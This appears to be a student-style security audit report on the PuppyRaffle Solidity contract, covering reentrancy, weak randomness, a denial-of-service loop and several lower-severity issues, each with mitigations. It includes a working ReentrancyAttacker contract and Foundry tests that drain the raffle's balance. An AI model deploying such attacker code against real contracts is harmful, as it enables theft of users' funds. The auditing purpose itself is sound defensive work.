[H-1] Reentrancy Attack `PuppyRaffle::refund` allows entrant to drain rafflre balance.

Description:

The `PuppyRaffle::refund` function does not allows CEI (Checks-Effect-Interaction) and as a result, enables participate to drain the contract balances.

The `PuppyRaffle::refund` function , we afirst make an external call to the `msg.sender` address and only after making that external call do we update the `PupopyRaffle::players` array.

```
      function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        // @audit  Re-entrancy attack
        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);  // here the re-enterancy attack
happen: cause state upadte after the external call.
        emit RaffleRefunded(playerAddress);
    }
```

A player who has enter the raffle could have a `fallback`/`receive` function that call the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle and drained the contract balances.

Impact:

All fees paid by the raffle entrants could be stolen by the malicious participate.

Proof of Concept:

1. User enter the raffle.
2. Attacker sets up a contract with a `fallback` function and call the `PuppyRaffle::refund` function.
3. Attacker enter the raffle.
4. Attacker call `PuppyRaffle::refund` from their attack contract, dranning the contract balances.

▶ POC [check code dropdown]

```
      function test_ReentrancyAttack() public {
```

```
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
        address attackerUser = makeAddr("attackerUser");
        vm.deal(attackerUser, 1 ether);

        uint256 startingAttackerContractBalance =
address(attackerContract).balance;
        uint256 startingPuppyRaffleContractBalance =
address(puppyRaffle).balance;

        attackerContract.attack{value : entranceFee }();

        console.log("starting attacker contract bal.
",startingAttackerContractBalance);
        console.log("starting puppyRaffle contract bal.
",startingPuppyRaffleContractBalance);

        console.log("After stealMoney attacker
bal....",address(attackerContract).balance);
        console.log("After stealMoney puppyRaffle
bal...",address(puppyRaffle).balance);

    }

    function testCantSendMoneyToRaffle() public {
    address senderAdd = makeAddr("senderAddress");
    vm.deal(senderAdd, 1 ether);
    vm.expectRevert();
    vm.prank(senderAdd);
    (bool success,) = payable(address(puppyRaffle)).call{value: 1 ether}
("");
    require(success);
}
```

And this Attacker contract as well :

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
```

```
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee }(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if(address(puppyRaffle).balance >= entranceFee){
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation:

To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call.Another way to use the library reentrancy to prevent the reentrany attack.

[H-2] Weak randonmness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and predit the winning puppy.

Description:

Hashing `msg.sender`,`block.timestamp`, and `block.difficulty` together create a predictable find number. A predictable no. is not a good random number. Malicious users can manipulate these value and know them ahead of time to choose the winner of the raffle themselves.

Note : This additionally means user could front-run this function and call `refund` if they see they are not the winner.

Impact:

Any user can influence the winner of the raffle , winning the money and selecting the `rarest` puppy.

Proof of Concept:

1. Validators can know ahead of the time `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using On-Chain values as a randomness seed is a `[well-documented attack vector]`, `(https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf)`.

Recommended Mitigation:

Consider using the cryptographically provable random generator such as Chainlink VRF.

[M-#] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas cost for future entrants.

Description:

The `PuppyRaffle::enterRaffle` function loops through the `players` array to check duplicates.However, the longer the `puppyRaffle::players` array is, the more checks the new player make.This means the gas cost for player who enter right when the raffle start will be dramatically lower then those who enter later.Every additional addresses `players` array, is an additional checks the loop will have to make.

```
//@ audit DOS attack
       for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact:

The gas cost for raffle entrants will greatly increase as more players enter the ruffle. Discouraging later user for entering, and causing a rush at the start of the raffle to be one of the 1st entrants in the queue.

An attacter might make an `puppyRaffle::entrants` array soo big, that's no one else enters, gaurenteeing themselves to win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as such : -Gas cost of the first 100 players: 6252128 -Gas cost of the first 100 players: 18068218

This more than 3X more expensive foere the second 100 players.

▶ POC [check code dropdown]

```
        function test_DenilOfService() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;

        address[] memory players = new address[](playersNum);
        for(uint256 i;i< playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length }
(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players:",gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);
        for(uint256 i;i< playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length }
(playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedsecond = (gasStartSecond - gasEndSecond) *
tx.gasprice;
        console.log("Gas cost of the first 100 players:",gasUsedsecond);

        assert(gasUsedFirst < gasUsedsecond );
    }
```

Recommended Mitigation:

There are some recomendations here :

1. Consider allowing duplicates : Users can make new wallet addresses anyways, so the duplicates check doesn't prevent the same person entering multiple times only the same wallet address.
2. Consider using a mapping to check for duplicates in array. These would allow constant time lookup of weather a user has already entered.

Low Issues

L-1: abi.encodePacked() should not be used with dynamic types when passing the result to a hash function such as keccak256()

Use abi.encode() instead which will pad items to 32 bytes, which will prevent hash collisions (e.g. abi.encodePacked(0x123,0x456) => 0x123456 => abi.encodePacked(0x1,0x23456), but abi.encode(0x123,0x456) => 0x0...1230...456). Unless there is a compelling reason, abi.encode should be preferred. If there is only one argument to abi.encodePacked() it can often be cast to bytes() or bytes32() instead. If all arguments are strings and or bytes, bytes.concat() should be used instead.

Found in src/PuppyRaffle.sol: 8858:16:35 Found in src/PuppyRaffle.sol: 8986:16:35

L-2: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;

Found in src/PuppyRaffle.sol: 32:23:35

L-3: `PuppyRaffle::getActivePlayerIndex` returns 0 for non existing players and for player at index 0, causing the player at index 0 to incorrectly think that they have not enter the raffle.

Description:

If the players is in the `PuppyRaffle::players` array at index 0 , this will return 0, but according to netspec, it will also return 0 if it is not present in array.

```
            // @audit if the player is at index 0 , it will return 0 and a
player might think that they are not active!
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact:

A the player at index 0 may incorrectly think that they have not enter the raffle, and attempt to enter the raffle agaon , wasting gas.

Proof of Concept:

1. User enter the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not enter the raffle correctly due to the function documentation.

Recommended Mitigation:

The easiest recommendation would be to revert , if the player is not in the array instead of returning 0.

[I-1]: Missing checks for address(0) when assigning values to address state variables

Assigning values to address state variables without checking for address(0).

Found in src/PuppyRaffle.sol: 7800:26:35 Found in src/PuppyRaffle.sol: 6943:23:35 Found in src/PuppyRaffle.sol: 2876:24:35

[I-2] `PuppyRaffle::selectWinner` does not fallow CEI , which is not a best practice.

It's best to keep code clean and fallow CEI (checks-effect-interaction).

```
diff
  -      (bool success,) = winner.call{value: prizePool}("");
  -      require(success, "PuppyRaffle: Failed to send prize pool to
winner");
         _safeMint(winner, tokenId);
  +      (bool success,) = winner.call{value: prizePool}("");
  +      require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-3] Use of "magic" number is discouraged :

It can be confusing to see number literals in a codebase, and it's much more readable if the number are given a name.

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, ypu could use :

```
    uint256 public constant PRICE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
```

```
    uint256 public constant POOL_PRECISION = 100;
```

NC-2: Functions not used internally could be marked external

Found in src/PuppyRaffle.sol: 4343:439:35 Found in src/PuppyRaffle.sol: 3545:594:35 Found in src/PuppyRaffle.sol: 2721:574:35 Found in src/PuppyRaffle.sol: 8488:995:35

NC-3: Constants should be defined and used instead of literals

Found in src/PuppyRaffle.sol: 3915:1:35 Found in src/PuppyRaffle.sol: 3958:1:35 Found in src/PuppyRaffle.sol: 5882:1:35 Found in src/PuppyRaffle.sol: 6238:2:35 Found in src/PuppyRaffle.sol: 6244:3:35 Found in src/PuppyRaffle.sol: 6295:2:35 Found in src/PuppyRaffle.sol: 6301:3:35 Found in src/PuppyRaffle.sol: 6573:3:35

NC-4: Event is missing indexed fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

Found in src/PuppyRaffle.sol: 2389:40:35 Found in src/PuppyRaffle.sol: 2476:47:35 Found in src/PuppyRaffle.sol: 2434:37:35

Gas

[G-1] Unchanged state variable should be declared constant or immutable.

Readings from storage is more expensive then readings from a constant and immutable.

`PuppuRaffle::raffleDuration` should be `immutable`. `PuppuRaffle::commanImageUri` should be `constant`. `PuppyRaffle::rareImageUri` should be `constant`. `PuppyRaffle::lagendaryImageUri` should be `constant`.

[G-2] Storage variable in a loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
diff
    +    uint256 playerLength = player.length;
    -    for (uint256 i = 0; i < players.length - 1; i++) {
    +    for (uint256 i = 0; i < playerLength - 1; i++) {
    -       for (uint256 j = i + 1; j < players.length; j++) {
    +       for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
```

```
                }
            }
```